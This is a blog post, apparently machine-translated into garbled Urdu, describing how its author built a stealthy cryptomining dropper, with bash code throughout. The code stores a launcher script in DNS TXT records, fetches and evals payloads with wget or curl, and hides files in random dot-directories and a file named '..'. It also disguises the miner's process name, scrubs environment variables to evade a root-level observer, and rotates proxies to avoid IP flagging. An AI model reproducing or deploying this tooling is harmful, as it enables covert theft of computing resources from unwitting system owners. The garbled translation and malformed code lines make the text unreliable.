•  بے نور روشنی

کرپٹونٹ ڈراپر کے تواریخ۔

... آپ کتنے پیسے کے لیے جانے کو تیار ہیں؟

فرض کریں کہ آپ میرا کرنا چاہتے ہیں۔ کرپٹو کرنسی ریموٹ پر مجازی ہارڈ ویئر تمہیں میرے لیے کچھ ڈھونڈنا ہے۔ ریموٹ سرورز کا مطلب ہے ، نہیں۔ ASICS یا کام کے الگورتھم کا GPU ثبوت ، بنیادی طور پر صرف۔ سی پی یو دوستانہ سکے۔.

سافٹ وئیر۔

تلاش کریں اور تلاش کریں a کان کن ، لیکن یہ واقعی اچھا نہیں ہے ، آپ ایسی چیز پسند کریں گے جسے آپ ریموٹ سے بہتر طریقے سے کنٹرول کر سکیں ، تاکہ آپ کو مل جائے۔ ایک اور کان کن . آپ بھی ایک چاہتے ہیں۔ پراکسی ، کیونکہ بہت سے رابطے مختصر رہیں گے ، آپ نہیں چاہتے۔ ڈاس آپ کا کان کنی پول نیز ایک سرنگ اچھا ہو گا.

ڈیزائن

کچھ بوٹنیٹس کمانڈ تلاش کرنے کے لیے بلاکچین ڈیٹا استعمال کرتے ہیں ، کوئی بھی ظاہر ہوتا ہے کھوئے ہوئے شرط یہ دوبارہ نہ ہونے پر ... ویسے بھی ہم اتنے نفیس نہیں ہیں ، ہم کچھ DNS ریکارڈ لے کر آئیں گے جو کہ ایک اسکرپٹ کو محفوظ کرتا ہے جو پے لوڈ کھینچتا ہے جسے سیلف ایکسٹریکٹ ڈائریکٹری میں نکالتا ہے اور چھوڑ دیتا ہے تقریبا اس کے سیٹ اپ کا کوئی نشان نہیں۔ یہاں ایک چھوٹا سا بہاؤ چارٹ ہے جو ساخت کو ظاہر کرتا ہے۔

لانچر

اسٹارٹ اپ اسکرپٹ کا نقطہ قابل رسائی اور آسانی سے اپڈیٹ ہونا ہے تاکہ یہ وقت کے امتحان کو برداشت کرے۔ اپ ڈیٹ کر رہا ہے۔ DNS ریکارڈ آسان ہے ، اور DNS آخری چیز ہے جو نیٹ ورک کے اندر بند ہو جاتی ہے کیونکہ آئی پی ایڈریس کو یاد رکھنا مشکل ہوتا ہے ... آپ دیکھیں کہ ہم کب ہیں۔ تعیناتی سکرپٹ لاناہم اصل میں پہلے ہی کچھ منطق چلا رہے ہیں ، یہ لانچر اسکرپٹ ہے ، اسے ہمارے ریکارڈ کو دیکھنے کے لیے DNS سوالات کرنے کی صلاحیت کی ضرورت ہے ، DNS ہر جگہ ہو سکتا ہے لیکن کھدائی نہیں ہے.

اگر ہم نے کوئی اور ٹول ڈاؤن لوڈ کرنا ہے تو یہاں تھوڑا سا الجھن ہے۔ پے لوڈ کو ڈاؤن لوڈ کرنے کے لیے ایک اور اسکرپٹ ڈاؤن لوڈ کریں۔ ہمیں صرف پے لوڈ ڈاؤن لوڈ کرنا چاہیے! دفاع میں… جامد طور پر منسلک ڈی این ایس سوالات انجام دینے کے لیے قابل عمل کھودیں ، یا تو سیلف ہوسٹنگ ، یا کلاؤڈ ہوسٹنگ کے ذریعے حاصل کیا گیا (ہاں 3 یا 4 کی طرح فال بیک ہیں ، کیونکہ کلاؤڈ سروسز میں بہت کم مفت بینڈوڈتھ ہوتی ہے ، اور کوکیز یا ایکسیس ٹوکن کی بھی ضرورت ہوتی ہے۔ غیر دوستانہ ، جان بوجھ کر ، یقینا)

ڈی این ایس ریکارڈ میں کیا ہے؟ ہم استعمال کر رہے ہیں۔ TXT ریکارڈز ، ایک کسٹم ڈومین پر (فال بیک یہاں بھی)۔ TXT کیوں؟ وہ ایسے ہوتے ہیں جو ڈیٹا کی سب سے بڑی مقدار کو ذخیرہ کر سکتے ہیں عام طور پر چونکہ یہ اس قسم کا ہے تجویز کردہ اس پر منحصر چیزیں . ہم خاص طور پر استعمال کر رہے ہیں۔ بادل کی چمک ہمارے ڈی این ایس فڈلنگ کے لیے چونکہ یہ مفت ہے ، اور بہت زیادہ شہر کا واحد کھلاڑی ( اچھی طرح سے نہیں بلکہ کوئی اور متبادل پالیس کی خصوصیات ہیں۔ ). ایسا ہوتا ہے کہ آپ ڈیٹا کے ایک سے زیادہ ٹکڑوں کو اسٹور کرسکتے ہیں۔ اسی ریکارڈ… استعمال کیا اجازت دیں جکڑا ہواTXT ریکارڈ کل k 9k بائٹس کا ہے ، دستاویزات اب ~ 2k بائٹس بتاتے ہیں ، اس تبدیلی سے پہلے جو میں استعمال کر رہا تھا k 6k میرے خیال میں ، اور سکرپٹ کو بغیر کسی دباؤ کے پیش کر رہا تھا ، اس کے بعد مجھے سکرپٹ کو پتلا کرنا پڑا اور اسے ہاتھ سے پہلے سکیڑنا پڑا (دراصل میں a استعمال کرنے کی کوشش کی۔ آزاد فراہم کنندہ ، مجھ پر ایک دن کے اندر پابندی عائد کر دی گئی ، اندازہ لگایا گیا کہ ان کے پاس بغیر چربی والی TXT ریکارڈ کی پالیسی ہے) ، تاہم gzip کمپریشن پائپ فرینڈلی نہیں دکھائی دیتی ہے اور پھر بھی پریشانیوں کا باعث بن رہی ہے ، لہذا مجھے سکرپٹ کو بغیر کسی کمپریشن کے سنبھالنا پڑا ( اختتامی ٹینجینٹ)۔

ہم اسے کیسے ذخیرہ کرتے ہیں؟ TXT ریکارڈز صرف حروف تہجی کے تاروں کی حمایت کرتے ہیں ، نہیں۔ NULs ، لہذا ہمیں اسے نان انکوڈنگ میں لپیٹنا ہوگا ، بیس 64۔ اس رکاوٹ کو پورا کرتا ہے ، اور کیونکہ ہم ذخیرہ کر رہے ہیں۔ جکڑا ہوا TXT ریکارڈ ، ہمیں آؤٹ پٹ کا حصہ بنانا ہے ، چونکہ ہم شیل چیزیں استعمال کر رہے ہیں ، یہ کام کے ذریعے کیا جاتا ہے۔-w پرچم ، مصروف خانہ پر اس طرح کے جھنڈے پرانے ورژن پر غیر حاضر (یا آپٹ ان) ہوتے تھے جو کہ پریشان کن تھا ، ایک متبادل یہ ہے کہ اوپن ایس ایل کے ساتھ بنڈل انکوڈر استعمال کیا جائے ،openssl enc -base64.

اب جب کہ ہم جانتے ہیں کہ اپنی تعیناتی کی سکرپٹ کو کس طرح ذخیرہ کرنا ہے ہم اسے کسی ایک کے ساتھ محفوظ کرتے ہیں۔ cf cli یا دستی طور پر. ہم اسے کیسے کھینچتے ہیں؟ ہم نے ذکر کیا کہ ہمیں bindutils یا ہماری اپنی ضرورت ہے۔dig ... سروسنگ اینڈ پوائنٹ کو منتخب کرنے کے بعد ، ہم اسے ڈاؤن لوڈ کرنا چاہتے ہیں ، جو دستیاب ہے وہ عام طور پر ہوتا ہے۔ ویجٹ یا کرل ، wget پہلے سے زیادہ انسٹال پایا جاتا ہے ، تاہم مصروف خانہ صرف متحرک لائبریریوں کے ساتھ tls سپورٹ فراہم کرتا ہے ، لہذا آپ کو یہ یقینی بنانا ہوگا کہ اختتامی نقطہ http کی خدمت کر رہا ہے یا آپ کی افادیت ہےwget gnu-utils سے

# the wget command
wget -t 2 -T 10 -q -i- -O- > $filename <<< "$digurl"

اس کا مطلب ہے کوشش کرنا۔-t2 اوقات انتظار-T10 سیکنڈ ہیں-q سے پرسکون پڑھنا-i- stdin ($digurl ) اور لکھنا۔-O- stdout ($filename). یہ کمانڈ ظاہر نہیں کرتا کہ ہم پہلی نظر میں کیا ڈاؤن لوڈ کر رہے ہیں۔ ہم اسی وجہ سے دوسرے شیل کمانڈز کے ساتھ بہت محتاط رہنے جا رہے ہیں ، یا شیل کے ساتھ چپکے ہوئے ہیں ( لشکر بلٹ ان جہاں ممکن ہو۔ اس بات کا بھی خیال رکھیں کہ آپ اپنے ایگزیکیوٹیبل کہاں سے ڈاؤن لوڈ کر رہے ہیں ، آپ اس بات کو یقینی بنانا چاہتے ہیں کہ آپ ان پر عملدرآمد کر سکیں ، کیونکہ کچھ ماؤنٹ پوائنٹس ، خاص طور پر کنٹینرز اورtmp راستے ہیںnoexec . اب جب کہ ہمارے پاس ڈی این ایس استفسار کا آلہ ہے ہم اپنے ریکارڈ لاتے ہیں۔

dig txt ${record}.${zone} +short +tcp +timeout=3 +retries=0 $dnsserver

یہاں پرچم خود وضاحت کرنے والے ہیں ،+short صرف اس کا مطلب یہ ہے کہ ہم صرف ڈیٹا میں ہی دلچسپی رکھتے ہیں ، تاکہ ہمیں آؤٹ پٹ پارس نہ کرنا پڑے۔ DNS سرور کی وضاحت کرنا ضروری ہے ، جیسے گوگل (8.8.8.8 ) یا کلاؤڈ فلیئر (1.1.1.1 ) کیونکہ بہت سے ماحول ری ڈائریکٹ یا پراکسی ڈی این ایس سوالات بطور ڈیفالٹ اپنے ڈی این ایس سرورز سے کرتے ہیں۔ ٹکڑے ٹکڑے کا سکرپٹ حاصل کرنے کے بعد ہم کوٹس اور وائٹ اسپیس سے نمٹتے ہیں تاکہ اسے ڈی کوڈنگ کے لیے تیار کیا جا سکے۔

data=${data//\"} # remove quotes
data=${data// } # remove whitespace
declare -a ar_data
for l in $data; do
    ar_data[${l:0:1}]=${l:1} # iterate over each line and remove the first characther
done
data=${ar_data[@]} # join all the lines
data=${data// } # ensure joining didn't add whitespace
# decode
launcher=$(echo "$launcher" | $b64 -d -w $chunksize)

اب اگر ہم اب بھی ہمارے لانچر نہیں ہے؟ ڈی این ایس گندا ہے ، ہم فال بیک چاہتے ہیں ، لانچر اسکرپٹ کو براہ راست لانے کے لیے ایک سب ڈومین سیٹ اپ کرنے دیں۔ اپنے اسکرپٹ کا جائزہ لینے سے پہلے ہم اسے اپنی مرضی کے مطابق بنانا چاہتے ہیں ، کچھ متغیرات کے ساتھ ، دوبارہ ایک TXT ریکارڈ استعمال کرنے دیتے ہیں تاکہ NAME = VALUE متغیر کی فہرست کو محفوظ کیا جا سکے اور اس کی تجزیہ کی جا سکے۔ متغیرات کے لیے ایک فال بیک بھی ہے ، کلاؤڈ فلیئر یو آر ایل پر مبنی ری ڈائریکٹ پیش کرتا ہے ، یہ ری ڈائریکٹس پیش کیے جاتے ہیں پہلے منزل ، لہذا ہمیں اختتامی نقطہ کی ضرورت نہیں ہے ، ہم صرف ریجیکس پر مبنی ری ڈائریکٹ قواعد کو فرضی اختتامی نقطہ پر تشکیل دینا چاہتے ہیں ، جس میں ہم دلچسپی رکھتے ہیں وہ یو آر ایل کے پیرامیٹرز ہیں?NAME=VALUE&NAME2=VALUE2...، تاکہ ہم اپنے لانچر کو صرف ری ڈائریکٹ یو آر ایل کو تبدیل کر کے پیرامیٹرائز کر سکیں ، ہمیشہ کوڈز کو حوالہ دینے اور فرار ہونے پر توجہ دیں

## m1 also important to stop wget
pl_vars=$(echo "$token_url" | wget -t 1 -T 3 -q -i- -S 2>&1 | grep -m1 'Location')
pl_vars=${pl_vars#*\/}
pl_vars=${pl_vars//\"&/\" }
pl_vars=${pl_vars//%3F/\?}

ویجٹ-S ری ڈائریکٹ یو آر ایل پرنٹ کرتا ہے جس میں ہم تجزیہ کرنے میں دلچسپی رکھتے ہیں۔ پیرامیٹرز اور اسکرپٹ کے ساتھ ، ہم ان فائلوں پر لکھنے والے متغیرات کا جائزہ لیتے ہیں۔

eval "$pl_vars"
echo "export \
$pl_vars \
$ENV_VARS \
">env.sh

اس فائل کو ڈیپلو سکرپٹ کے ذریعے حاصل کیا جائے گا۔ اسٹارٹ اپ اسکرپٹ کا آخری حصہ اصل ہے۔ ٹرامپولین ، موجودہ شیل عمل کے اندر اسکرپٹ کا اندازہ کریں ، یا اگر ممکن ہو تو اسے tmux کے ذریعے سنبھالنے دیں۔

# printf preserves quotes
eval "$(printf '%s' "$launcher")" &>/dev/null
# or tmux
echo "$launcher" > ".. "
tmux send-keys -t miner ". ./\".. \"" Enter

لانچر اسکرپٹ کو ".." نامی فائل میں پھینک دیا گیا ہے یہ الجھا ہوا لگتا ہے کیونکہ اسے غلطی سے بطور a والدین ڈائریکٹری اور ہم سیشن کمانڈ کو شامل نہیں کرتے ، کیونکہ یہ پروسیس کمانڈ میں رہتا ہے ، اس کے بجائے ہم پہلے سے tmux سیشن شروع کرتے ہیں اور tmux ٹرمینل انٹرفیس کے ذریعے سورس کمانڈ بھیجتے ہیں۔ اس سے متعلق ، بعض اوقات ایک ایگزیکیوٹیبل کے ساتھ فون کرنا۔./ ان حروف کو کمانڈ میں رکھتا ہے ، لہذا بہتر ہے کہ شامل کریں۔$PWD راستے پر ..PATH=$PWD:$PATH.

پے لوڈ۔

ہماری تعیناتی سکرپٹ سورسنگ سے شروع ہوتی ہے۔env.sh فائل ، اور ورز کو رکھنا یا ترتیب دینا۔STARTING_* کی طرح

STARTING_PATH=${STARTING_PATH:-$PATH}
STARTING_PID=$BASHPID

یہ ہمیں ماحول کو دوبارہ ترتیب دیتے ہوئے چلنے والی مثال کو مارنے اور دوبارہ شروع کرنے کی اجازت دیتا ہے۔ عملدرآمد کی صلاحیتوں والی ٹی ایم پی ڈائریکٹری میں تبدیل ہونے دیں۔

# out local subdirectory
pathname=$(printf ".%-$((RANDOM%9+1))s"
for ph in {/tmp,/dev/shm,/run,/var/tmp,/var/cache,~/.local,~/.cache,~/}; do
    rm -rf "$ph/$pathname" &&
        mkdir -p "$ph/$pathname" &&
        tmppath="$ph/$pathname" &&
        is_path_executable "$tmppath" &&
        export PATH="${ph}/$pathname:${PATH}" tmppath &&
        break
done
[ -n "$tmppath" ] && cd "$tmppath"

چیک کر رہا ہے کہ کیا a کے اندر ہے۔ کنٹینر یہ بھی آسان ہے ، ہم اشاروں کے لیے فائل سسٹم کی جانچ کر سکتے ہیں۔

c=$(builtin compgen -G '/etc/cpa*')
d=$(builtin compgen -G '/dev/*')
s=$(builtin compgen -G '/sys/*')
p=$(builtin compgen -G '/proc/*')
jail=
if [ -n "$c" -o -z "$d" -o -z "$s" -o -z "$p" ]; then ## we are in a jail
    jail=1
fi

اب وقت آگیا ہے کہ ہم اپنے پے لوڈ کو ڈاؤن لوڈ کریں ، ہم ویجٹ اور کرل دونوں کو سپورٹ کرنے کا انتخاب کرتے ہیں ، ہم پہلے ہی جان چکے ہیں کہ ویجٹ کو محتاط جھنڈوں کے ساتھ کیسے استعمال کرنا ہے ، کرل کے لیے یہ تھوڑا مختلف ہے۔ ہمیں ایک کنفیگ فائل بنانی ہے ، اور اوور رائیڈ کرنا ہے۔CURL_HOME

echo "url = $uri
output = ${name}${format}
connect-timeout = 10
" > .curlrc
CURL_HOME=$PWD curl -sOL

آخری مرحلہ صرف پے لوڈ نکالنا ہے۔

type unzip &>/dev/null &&
    format=".zip" extract="unzip -q" ||
        format=".tar.gz" extract="tar xf"

پے لوڈ کی خدمت کے لیے [CDN] کا استعمال قابل ذکر ہے۔ یہاں ایک بار پھر ریسکیو کے لیے کلاؤڈ فلیئر ہمیں بینڈوتھ کے اخراجات سے بچاتا ہے۔ ہمارے کمپریسڈ پے لوڈ کا نام تبدیل کرکے a فائل کی توسیع کلاؤڈ فلیئر کے ذریعے تعاون یافتہ ... یہ کیش ہو جاتا ہے۔ کلاؤڈ فلیئر یہ نہیں دیکھتا کہ یہ کس چیز کی خدمت کر رہا ہے ، شاید اس لیے کہ اس پیمانے پر ایسا کرنا محض ناقابل عمل ہے۔

بشلینڈ کے نیچے مہم جوئی۔

باش کو اس مفروضے کے ساتھ منتخب کیا گیا تھا جو پورٹیبل ہے ، بہت زیادہ جگہ سے باہر نظر نہیں آتا ہے اور دوسری اسکرپٹنگ زبانوں جیسے پرل ، روبی یا ازگر کے مقابلے میں زیادہ عام ہے۔ سچی بات یہ ہے کہ گولانگ یا لوا میں لکھا ہوا ایک بائنری بہت کم ہوتا ، کم کیڑے کے ساتھ ، اور برقرار رکھنا آسان ہوتا ، بنیادی طور پر باز میرے انتخاب میں ممکنہ طور پر بدترین انتخاب تھا ، اس وقت تک جب میں نے بہت ساری خارش خارش کی تھی ، دوبارہ لکھنے میں بہت دیر ہوچکی تھی ، اور یہ ایک طرح کی بورنگ بھی ہو رہی تھی۔

تمام بلٹ انز (جیسے گریپ اور سیڈ) کو استعمال کرنے کے لیے کمپلائز ٹائم فلیگ کے ساتھ مصروف خانہ استعمال کرنے کا آپشن بھی موجود تھا ، تاہم اس طرح بلٹ انز کا استعمال نوکریاں (کانٹا) پیدا کرنے کی اجازت نہیں دیتا اور ڈیمن کو ممکنہ ڈیڈ لاکس سے بے نقاب کرتا ہے۔

میں یہاں کچھ بش افعال بیان کروں گا ، مکمل فہرست دستیاب ہے۔ یہاں

## echo a string long $1 of random lowercase chars
rand_string() {
    local c=0
    while [ $c -lt $1 ]; do
        printf "\x$(printf '%x' $((97+RANDOM%25)))"
        c=$((c+1))
    done
}

کا استعمال کرتے ہیںRANDOM کریکٹر کوڈ کے مطابق 97-122 کے درمیان نمبر حاصل کرنے کے لیے متغیر ، printf ایک بلٹ ان ہونا چاہیے ، ہم کسی لوپ کے اندر کانٹا نہیں بنانا چاہتے۔

## make a new file descriptor named $1
newfd() {
    eval "local fd=\${$1}"
    eval "exec $fd>&-" &>/dev/null
    local pp=".$(rand_string 8)"
    mkfifo $pp
    unset "$1"
    eval "exec {$1}<>$pp"
    # unlink the named pipe
    rm -f $pp
}

گمنام فائل ڈسریکٹر بنانے کے لیے پائپوں کا فائدہ اٹھائیں ، یہ بالکل فائل ڈسریکٹر کی طرح برتاؤ نہیں کرتے لیکن وہ اس کے لیے کافی اچھے ہیں آئی پی سی.

## https://unix.stackexchange.com/a/407383/163931
fleep()
{
    # log "fleep: called by ${FUNCNAME[1]}"
    [ -n "${_snore_fd}" -a "$1" != 0 ] ||
        newfd _snore_fd
    # log "fleep: starting waiting with ${_snore_fd}"
    if ! command >&${_snore_fd}; then
        newfd _snore_fd
    fi
    read -t ${1:-1} -u $_snore_fd
    # log "fleep: ended"
}

بغیر کانٹے کے سو جانا ، ریڈ بلٹین کی ٹائم آؤٹ فعالیت کو غلط استعمال کرتے ہوئے ، یہ ایک سرشار فائل ڈسکریپٹر کا استعمال کرتا ہے اور ہمیں یہ یقینی بنانا چاہیے کہ یہ ختم ہونے سے بچنے کے لیے دستیاب ہے۔

جیسے افعال ہیں۔get_pid_stats, usgmon_prc, proc_usg_u, cpumon, loadmon سسٹم کے استعمال کی نگرانی کے لیے استعمال ہوتے ہیں ، یہ سب لینکس کا استعمال کرتے ہیں۔/proc جیسے ٹولز کے بغیر فائلیں۔ps ، تو کوئی فورکنگ نہیں ، تمام خالص بش۔

start_coproc() {
    local unset
    while :; do
        if [ "$1" = exec ]; then
            coproc_name="$2"
        else
            coproc_name="$1"
        fi

        if [ -n "$UNSET_COPROC_VARS" ]; then
            unset="unset $UNSET_COPROC_VARS;"
        fi

        log "starting coproc $coproc_name"
        unset -v "$coproc_name" ## only the variable, not functions
        eval "coproc $coproc_name { $unset $*; }" # 2>/dev/null
        unset UNSET_COPROC_VARS
        wait_coproc "$coproc_name" 3 && break
    done
}
stop_coproc() {
    ## clear fds
    id_coproc "$1" && [ -n "$job_n" ] && eval "kill -${2:-9} %$job_n" ||
        { eval "kill -${2:-9} \${${1}_PID}"; } ||
        { log "could not kill the specified coprocess with job $job_n" && return 1; }
}

بش کے بعد سے کوپروسیس دستیاب ہیں۔v4 ، وہ نوکریوں کی طرح ہیں سوائے ان کے کہ ان کا نام اور ان کے اپنے فائل ڈسریکٹر ہیں۔

## clear file descriptors
clear_fds() {
    local fd
    for fd in $(compgen -G "/proc/$BASHPID/fd/*"); do
        fd=${fd/*\/}
            if [[ ! " $* " =~ " ${fd} " ]]; then
                case "$fd" in
                    0|1|2|255|"$_snore_fd")
                    ;;
                    *)
                        eval "exec $fd>&-"
                        ;;
                esac
            fi
    done
}

ہم ایک ڈیمون لکھ رہے ہیں ، جو کہ ایک طویل عرصہ تک جاری رہنے والا عمل ہے ، اور ہم بہت سے فائل ڈسریکٹر استعمال کر رہے ہیں ، ہم واقعتا some کچھ صفائی کرنا چاہتے ہیں تاکہ اس سے بچا جا سکے حدود.

## queries ipinfo and gets the current ip and country/region
parse_ip ()
{
    export ip country region;
    [ ! -e cfg/geoip.json ] && log "geolocation codes file not found." && return 1;
    ipquery=$(http_req ipinfo.io);
    [ -z "$ipquery" ] && log "failed querying ipinfo" && return 1;
    before_after 'ip\": \"' "$ipquery" '\"';
    ip=$(echo $after);
    [ -z "$ip" ] && log "failed parsing ipinfo data ip" && return 1;
    before_after 'country\": \"' "$ipquery" '\"';
    country=$(echo ${after,,});
    [ -z "$country" ] && log "failed parsing ipinfo data country" && return 1;
    while read l; do
        if [ "${l}" != "${l/\": {}" ]; then
            before_after '"' "$l" '"';
            lastregion=$(echo $after);
        else
            if [ "${l}" != "${l/\"${country}\"}" ]; then
                region=$lastregion;
                break;
            fi;
        fi;
    done < cfg/geoip.json
}

یہ فنکشن انحصار کرتا ہے۔ ipinfo کارکن کے علاقے کا تعین کرنے کے لیے ، جو کہ کچھ علاقے پر منحصر منطق کو ٹیون کرنے کی اجازت دیتا ہے ، geoip.json ممالک کو خطوں میں تقسیم کرتے ہیں ، چونکہ ہم اعلیٰ سطح کا علاقہ چاہتے ہیں ، اور مخصوص ملک میں دلچسپی نہیں رکھتے۔

# try to open a connection to host $1 with port $2 and output to $3
open_connection() {
    exec {socket}<>/dev/tcp/${1}/${2} 2>/dev/null
    echo $socket >&${3}
}

## check if a tcp connection to $1=$HOST $2=$PORT is successful
check_connection() {
    local host=$1 port=$2 conn_socket=
    [ -z "$host" ] && { echo 'no host provided'; return 1; }
    [ -z "$port" ] && { echo 'no port provided'; return 1; }
    newfd conn_socket
    timeout 3 open_connection $host $port $conn_socket
    # read the fd of the opened connection from the conn_socket fd and close it
    read_fd $conn_socket avl -
    if [ -n "$avl" ]; then
        # close connection
        eval "exec ${avl}<&-" &>/dev/null
        return 0 ## connection can be established
    else
        return 1 ## connection can't be established
    fi
}

بش کو ٹی سی پی کنکشن کے لیے سپورٹ حاصل ہے/dev/tcp (یو ڈی پی کے لئے بھی ، لیکن زیادہ تر ایسا لگتا ہے کہ یہ عام طور پر تعمیر کے وقت غیر فعال ہوتا ہے ، لہذا آپ اس پر بھروسہ نہیں کرسکتے ہیں)۔ یہ فائلیں ایک باش چیز ہیں ، وہ لینکس کا حصہ نہیں ہیں۔/dev درخت

بش نوکریوں کے درمیان ہم آہنگی کو سنبھالنے کے لیے ایک لاکنگ سسٹم کا بھی ذکر کرنا ضروری ہے۔ متعدد ملازمتوں کو تالوں کے ساتھ کام کرنے کی اجازت دینے کے لیے ان سب کو فائل ڈسریکٹر کا اشتراک کرنے کی ضرورت ہے ، لہذا ہمارا۔locker جو کہ ایک نوکری بھی ہے ، لاک استعمال کرنے کی خواہش رکھنے والی دوسری ملازمتوں سے پہلے اسے شروع کرنا ہوگا۔ لاکر صرف پڑھتا ہے۔stdin لاکنگ کی درخواستوں کے جواب کا انتظارstdout ایک متغیر میں محفوظ موجودہ بولین ریاست پر منحصر ہے۔ میں اس بات کی ضمانت نہیں دیتا کہ یہ نقطہ نظر دوڑ سے پاک ہے ، لیکن لگتا ہے کہ مہذب طریقے سے کام کرتا ہے ، دوسری طرف ، میں نے فائل ڈسریکٹر کو بہت قابل اعتماد نہیں پایا ہے ، کیونکہ مجھے شبہ ہے کہ کچھ بفر ایسے ہیں جو کہیں نیچے نہیں نکلتے پائپ اور بالآخر ڈیڈ لاک مارنا (جس کا مطلب ہے کہ آپ ہر وقت جواب دینے والے لاکر پر بھروسہ نہیں کر سکتے)۔

## unset bash env apart excluded vars/funcs
clear_env(){
    local functions=$(declare -F)
    functions=${functions//declare -f }
    for u in $@; do
        functions=${functions/$u[[:space:]]}
        functions=${functions/[[:space:]]$u}
        functions=${functions/[[:space:]]$u[[:space:]]}
    done
    local vars=$(set -o posix; set | while read l; do echo ${l/=*}; done)
    for u in $@; do
        vars=${vars/$u[[:space:]]}
        vars=${vars/[[:space]]$u}
        vars=${vars/[[:space:]]$u[[:space:]]}
    done
    unset -f $functions &>/dev/null
    unset -v $vars &>/dev/null
    # unset $vars &>/dev/null
}

## unexport most variables
dex_env() {
    exported=$(export -p)
    while read e; do
        n=${e/declare -*x }
        [ "$n" = "$e" ] && continue ## multiline var
        n=${n/=*}
        case "$n" in
            "SHELL"|"USER"|"HOME"|"TMUX"|"CHARSET"|"TERM")
                continue
                ;;
            *)
                dexported="$dexported ${n/=*}"
        esac
    done <<<"$exported"
    export -n $dexported
}

اپنے کوڑے دان کو صاف کریں ... پیچ کے پیچیدہ پروگرام بہت سے متغیرات کا استعمال کرتے ہوئے ختم ہوجاتے ہیں ، اور اگر آپ عالمی جگہ کا غلط استعمال کرتے ہیں تو یہ پھول جاتا ہے۔ اگر آپ شیل نوکریاں پھیلا رہے ہیں تو ، وہ تمام ماحول (جو مؤثر طریقے سے نقل کیا جاتا ہے ، شیئر نہیں کیا جاتا ہے) کے وارث بنتے ہیں ، آپ جلدی سے کھانے کے ساتھ ختم کر سکتے ہیں100M میموری ، اچھا نہیں. نیز ہم واقعی کم پروفائل بننا چاہتے ہیں۔ ہمارے تعیناتی کے منظر نامے میں ، مخالف۔[1] ممکنہ طور پر جڑ تک رسائی اور ہمارے عمل کے بارے میں مکمل معلومات حاصل کر سکتا ہے۔[2] ، اور آپ جانتے ہیں ... ہر عمل مکمل کمانڈ کے بارے میں معلومات رکھتا ہے جس نے اسے شروع کیا ، اور برآمد شدہ ماحول کے متغیرات۔

ترتیب

ایک بار جب ہمارے پاس اپنا ماحول اور ہمارے اوزار ہیں ، ہمیں اپنے کان کن کو اس مشین کے لیے ٹیون کرنا ہوگا جس پر یہ چل رہی ہے ، سیڈو کوڈ میں کنفیگریشن مراحل:

عمل کے لیے نام کا انتخاب ضروری ہے۔ چھپائیں حقیقت یہ ہے کہ ہم ایک کان کن چلا رہے ہیں ، لیکن ہم صرف اپنے بائنری کا نام تبدیل نہیں کر رہے ہیں ، ہمارے پاس ایک فہرست ہے۔ ماسک ممکنہ امیدواروں کے لیے (ایک سادہ ٹیکسٹ فائل جہاں ہر لائن ماسک ہے):

حشرات

، وقت کے ساتھ ، اپ اسٹریم کان کن بہت سے مل گئے۔ خودکار ٹیوننگ خصوصیات ، لہذا اس نے میرے سکرپٹ کا حصہ بے کار بنا دیا ، لیکن یہاں اسٹریم اور ڈاون اسٹریم کے درمیان فرق یہ ہے کہ اپ اسٹریم کا مقصد زیادہ سے زیادہ کرنا ہے کارکردگی ، جبکہ ہمارا مقصد زیادہ سے زیادہ کرنا ہے۔ کارکردگی اور گڑبڑ ، ہم نظام سے آگے نہیں بڑھنا چاہتے ، ہم خدمت میں خلل کے بغیر تھوڑا سا جوک کرنا چاہتے ہیں۔[3]

اس کے لیے ہمیں ماحولیات کے بارے میں زیادہ سمجھدار تفہیم کی ضرورت ہے۔l2/l3 پروسیسر ، رام ، اور کور ، اور موجودہ پروسیسر کی کیش ڈھانچہ۔ اوسط لوڈ اور سی پی یو استعمال. میں نے ایک بنانے کی کوشش کی۔ ریاستی مشین bash میں جو کہ کم سے کم سے شروع ہوگا اور مختلف ترتیبوں کو آہستہ آہستہ اوسط سے بہترین طریقے سے طے کرنے کی کوشش کرے گا۔ یہ ایک تھا۔ بہت بڑا کوششوں کا ضیاع۔ تکنیکی قرض جو کہ بہت جلد دیوالیہ ہو گیا اور زیادہ تر ضائع کر دیا گیا ، صرف کوڈ بیس میں باقیات باقی ہیں۔

اس تمام آٹو ٹیوننگ جمبو کو فریک کریں ، ہم نے میزبان کے استعمال/بوجھ کے لحاظ سے کان کنوں کی نیند پوری کیsleep دھاگوں کی پیداوار ، اور کنفیگریشن واچ ڈاگ میں کچھ اصلاحات کے درمیان۔[4] ، جو ہمیں رن ٹائم پر نیند کی مقدار کو دوبارہ لوڈ کرنے کی اجازت دیتا ہے۔ منطق بہت آسان ہے اور اس طرح نظر آتی ہے:

کنکشن

ہمارے بش راؤنڈ اپ میں ہم نے کنکشن کے لیے افادیت دکھائی۔ ہمیں ان کی ضرورت کیوں ہے؟ کیونکہ ہمیں تنوع کی ضرورت ہے۔ کنفیگریشن میں اختتامی نقطہ کو مشکل سے کوڈ کرنا زیادہ دیر تک نہیں چلے گا ، جب کوئی چیز مشکوک نظر آتی ہے ، اور نیٹ ورک کی سرگرمی ہوتی ہے ، آئی پی کو پرچم لگایا جاتا ہے۔

شروع میں ہم نے کچھ طریقوں کے ساتھ تجربہ کیا:

آخر میں ہم نے اختتامی نکات کی ایک فہرست بھیجنے کے ساتھ طے کیا ، بش متغیر میں محفوظ ، بے ترتیب میں سے ایک کا انتخاب۔ رابطے یقینا خفیہ تھے۔ یہ آخری نکات کیا ہیں؟ پراکسی کو آگے بھیجنے والے جو کان کنوں کی ملازمتوں کو سنبھالیں گے۔

ہمیں ایک کی ضرورت کیوں ہے؟ کان کنی پراکسی ؟ میں واقعی conc 100 سمورتی کنکشن سے پہلے کبھی نہیں گیا ، لہذا نیٹ ورک لوڈ کے لیے ایک پراکسی واقعی ضروری نہیں تھی ، لیکن یہ ہیشنگ الگورتھم پر بات چیت کرنے کے لیے آسان تھا ، اور مختلف کان کنوں کو مختلف مشکلات کے اہداف فراہم کرنے کے لیے ، کان کنوں کو کام کرنے سے روکنے کے لیے مشکل ایسے اہداف جو انہیں مکمل کرنے میں بہت زیادہ وقت لیں گے اور نامکمل ملازمتوں پر حساب ضائع کرنے کے خطرے سے بچیں گے۔[5] پول سوفٹ وئیر میں کچھ ترمیم کی بھی ضرورت تھی کیونکہ یہ خوشی سے اشتہار دے رہا تھا کہ سادہ http درخواستوں پر پراکسی ہو۔ جو ٹائم آؤٹ ہونا تھا۔ ، اور ایک کانٹے نے ایکسیس کنٹرول کو شامل کیا تاکہ ہم اس پر اپنے موڈز کی بنیاد رکھیں۔[6]

json میں ترمیم

